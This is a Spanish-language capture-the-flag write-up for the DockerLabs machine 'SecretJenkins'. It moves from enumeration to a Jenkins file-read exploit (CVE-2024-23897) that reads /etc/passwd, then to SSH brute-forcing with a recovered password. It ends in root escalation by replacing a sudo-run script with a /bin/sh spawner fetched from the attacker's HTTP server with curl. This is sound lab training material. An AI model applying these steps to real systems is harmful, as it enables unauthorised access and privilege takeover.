romabri@home:~$

SecretJenkins - DockerLabs

OS Dificultad Creator
Linux Fácil ElPinguinoDeMario

Reconocimiento

Tenemos el puerto 22 y el puerto 8080 abiertos.

imagen

Puerto 8080

Exploramos el puerto 8080 y encontramos una página de inicio de sesión de Jenkins.

imagen

Realizamos un reconocimiento con gobuster y encontramos varias rutas.

imagen

Descubrimos la ruta /Index que muestra dos usuarios.

imagen

Gobuster también encontró la ruta /main.

imagen

Esta ruta nos muestra la versión de Jenkins, lo que nos permite buscar exploits.

Encontramos un exploit en GitHub - CVE-2024-23897. Esta versión de Jenkins es vulnerable a un LFI.

Ejecutamos el script del exploit y podemos ver archivos del sistema. Listamos el contenido de /etc/passwd para ver los usuarios existentes.

imagen

Encontramos los usuarios pinguinito y bobby. Realizamos un ataque de fuerza bruta para encontrar la contraseña por SSH y logramos encontrarla.

imagen

Para el usuario bobby, la contraseña es chocolate. Iniciamos sesión en SSH.

imagen

Ejecutamos sudo -l y vemos que podemos escalar privilegios a pinguinito utilizando python3.

imagen

Ahora somos pinguinito. Ejecutamos sudo -l de nuevo y descubrimos que podemos ejecutar un script como root sin proporcionar la contraseña. Inspeccionamos el script.

imagen

Eliminamos el script de /opt y creamos uno nuevo en nuestra máquina atacante que abrirá una terminal con el siguiente código:

import os

os.system("/bin/sh")

Subimos el script a la máquina víctima de la siguiente manera:

En la máquina atacante:

python -m http.server 80

En la máquina víctima:

curl -O http://172.17.0.2

Ejecutamos el script como root y obtenemos una shell como root.

imagen